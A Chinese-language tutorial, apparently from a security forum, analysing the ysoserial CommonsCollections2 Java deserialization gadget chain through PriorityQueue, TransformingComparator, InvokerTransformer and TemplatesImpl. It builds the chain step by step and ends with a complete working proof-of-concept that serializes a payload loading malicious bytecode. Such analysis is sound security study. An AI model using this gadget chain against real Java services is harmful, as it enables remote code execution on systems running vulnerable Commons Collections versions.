目录
正文cc2 commons-collections4版本利用链InvokerTransformer.transform()利用InvokerTransformer.transform()的调用TransformingComparator.compare()的调用queue属性赋值最终完整利用实现
正文
在最后一步的实现上,cc2和cc3一样,最终都是通过TemplatesImpl恶意字节码文件动态加载方式实现反序列化。
已知的TemplatesImpl->newTransformer()是最终要执行的。
TemplatesImpl类动态加载方式的实现分析见ysoserial CommonsCollections3 分析中的一、二部分。
TemplatesImpl->newTransformer()的调用通过InvokerTransformer.transform()反射机制实现,这里可以看ysoserial CommonsCollections1 分析中的前半部分内容。
cc2 commons-collections4版本利用链
cc2是针对commons-collections4版本,利用链如下: - /*
- Gadget chain:
- ObjectInputStream.readObject()
- PriorityQueue.readObject()
- ...
- TransformingComparator.compare()
- InvokerTransformer.transform()
- Method.invoke()
- Runtime.exec()
- */
复制代码 InvokerTransformer.transform()利用
所以在InvokerTransformer.transform()之后的利用如下: - public class CC2Test2 {
- public static void main(String[] args) throws Exception {
- TemplatesImpl templates = new TemplatesImpl();
- Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
- Field name = templates_cl.getDeclaredField("_name");
- name.setAccessible(true);
- name.set(templates,"xxx");
- Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
- transletIndex.setAccessible(true);
- transletIndex.set(templates,0);
- byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
- byte[][] codes = [code];
- //给_bytecodes赋值
- Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
- bytecodes.setAccessible(true);
- bytecodes.set(templates,codes);
- //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
- //_tfactorys是TransformerFactoryImpl类型的
- TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
- Field tfactory = templates_cl.getDeclaredField("_tfactory");
- tfactory.setAccessible(true);
- tfactory.set(templates,transformerFactory);
- InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
- transformer.transform(templates);
- }
- }
复制代码 InvokerTransformer.transform()的调用
TransformingComparator的compare,实现了对属性this.transformer的transform调用,这里可以通过TransformingComparator构造方法为该属性赋值。 - public class TransformingComparator<I, O> implements Comparator<I>, Serializable {
- private static final long serialVersionUID = 3456940356043606220L;
- private final Comparator<O> decorated;
- private final Transformer<? super I, ? extends O> transformer;
- public TransformingComparator(Transformer<? super I, ? extends O> transformer) {
- this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
- }
- public TransformingComparator(Transformer<? super I, ? extends O> transformer, Comparator<O> decorated) {
- this.decorated = decorated;
- this.transformer = transformer;
- }
- public int compare(I obj1, I obj2) {
- O value1 = this.transformer.transform(obj1);
- O value2 = this.transformer.transform(obj2);
- return this.decorated.compare(value1, value2);
- }
- }
复制代码通过compare的调用 - InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
- TransformingComparator transformingComparator = new TransformingComparator(transformer);
- transformingComparator.compare(null,templates);
复制代码 TransformingComparator.compare()的调用
PriorityQueue类中的readobject()调用了heapify(),heapify()中调用了siftDown(),siftDown()调用了siftDownUsingComparator(),siftDownUsingComparator()方法实现了comparator.compare()调用。
那么只要将transformingComparator对象赋值给comparator,可以通过反射,也可以通过构造方法,这里通过构造方法,且initialCapacity不能小于1。 - public PriorityQueue(int initialCapacity,
- Comparator<? super E> comparator) {
- // Note: This restriction of at least one is not actually needed,
- // but continues for 1.5 compatibility
- if (initialCapacity < 1)
- throw new IllegalArgumentException();
- this.queue = new Object[initialCapacity];
- this.comparator = comparator;
- }
复制代码由于comparator.compare()中的参数来自queue,所以需要将templates赋值给queue。 - InvokerTransformer transformer = new InvokerTransformer("newTransformer", null, null);
- PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
- priorityQueue.add(1);
- priorityQueue.add(templates);
复制代码但是由于在priorityQueue.add()方法中会调用siftUp()->siftUpUsingComparator()->comparator.compare()。
priorityQueue.add()中带入的参数对象如果不存在newTransformer方法将报错,另外使用templates作为参数,又会导致在序列化过程构造恶意对象的时候得到执行。所以这里先用toString()方法代替,后通过反射方式修改this.iMethodName属性。 - TransformingComparator transformingComparator = new TransformingComparator(transformer);
- PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
- priorityQueue.add(1);
- priorityQueue.add(2);
- Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
- iMethodName.setAccessible(true);
- iMethodName.set(transformer,"newTransformer");
复制代码 queue属性赋值
transient queue无法序列化,但在PriorityQueue的writeobject()、readobject中对queue做了重写,实现序列化和反序列化。 - private void writeObject(java.io.ObjectOutputStream s)
- throws java.io.IOException {
- //略
- for (int i = 0; i < size; i++)
- s.writeObject(queue[i]);
- }
复制代码- private void readObject(java.io.ObjectInputStream s)
- throws java.io.IOException, ClassNotFoundException {
- //略
- for (int i = 0; i < size; i++)
- queue[i] = s.readObject();
- heapify();
- }
复制代码通过反射修改queues[0],利用如下: - TransformingComparator transformingComparator = new TransformingComparator(transformer);
- PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
- priorityQueue.add(1);
- priorityQueue.add(2);
- Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
- iMethodName.setAccessible(true);
- iMethodName.set(transformer,"newTransformer");
- Field queue = priorityQueue.getClass().getDeclaredField("queue");
- queue.setAccessible(true);
- Object[] queues = (Object[]) queue.get(priorityQueue);
- queues[0] = templates;
- //这里得替换queues[0]
- //如果queues[0]依旧保留使用Integer,会因为无法找到newTransformer报错。
复制代码 最终完整利用实现
- public class CC2Test2 {
- public static void main(String[] args) throws Exception {
- TemplatesImpl templates = new TemplatesImpl();
- Class templates_cl= Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
- Field name = templates_cl.getDeclaredField("_name");
- name.setAccessible(true);
- name.set(templates,"xxx");
- Field transletIndex = templates_cl.getDeclaredField("_transletIndex");
- transletIndex.setAccessible(true);
- transletIndex.set(templates,0);
- byte[] code = Files.readAllBytes(Paths.get("D:\\workspace\\javaee\\cc1\\target\\classes\\com\\Runtimecalc.class"));
- byte[][] codes = [code];
- //给_bytecodes赋值
- Field bytecodes = templates_cl.getDeclaredField("_bytecodes");
- bytecodes.setAccessible(true);
- bytecodes.set(templates,codes);
- //要顺利执行,_tfactory得赋值,因为defineTransletClasses中调用了_tfactory的getExternalExtensionsMap
- //_tfactorys是TransformerFactoryImpl类型的
- TransformerFactoryImpl transformerFactory = new TransformerFactoryImpl();
- Field tfactory = templates_cl.getDeclaredField("_tfactory");
- tfactory.setAccessible(true);
- tfactory.set(templates,transformerFactory);
- InvokerTransformer transformer = new InvokerTransformer("toString", null, null);
- TransformingComparator transformingComparator = new TransformingComparator(transformer);
- PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, transformingComparator);
- priorityQueue.add(1);
- priorityQueue.add(2);
- Field iMethodName = transformer.getClass().getDeclaredField("iMethodName");
- iMethodName.setAccessible(true);
- iMethodName.set(transformer,"newTransformer");
- Field queue = priorityQueue.getClass().getDeclaredField("queue");
- queue.setAccessible(true);
- Object[] queues = (Object[]) queue.get(priorityQueue);
- queues[0] = templates;
- ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("D:\\cc2.ser"));
- objectOutputStream.writeObject(priorityQueue);
- ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("D:\\cc2.ser"));
- objectInputStream.readObject();
- }
- }
复制代码
以上就是Java安全 ysoserial CommonsCollections2示例分析的详细内容,更多关于Java ysoserial CommonsCollections的资料请关注中国红客联盟其它相关文章! |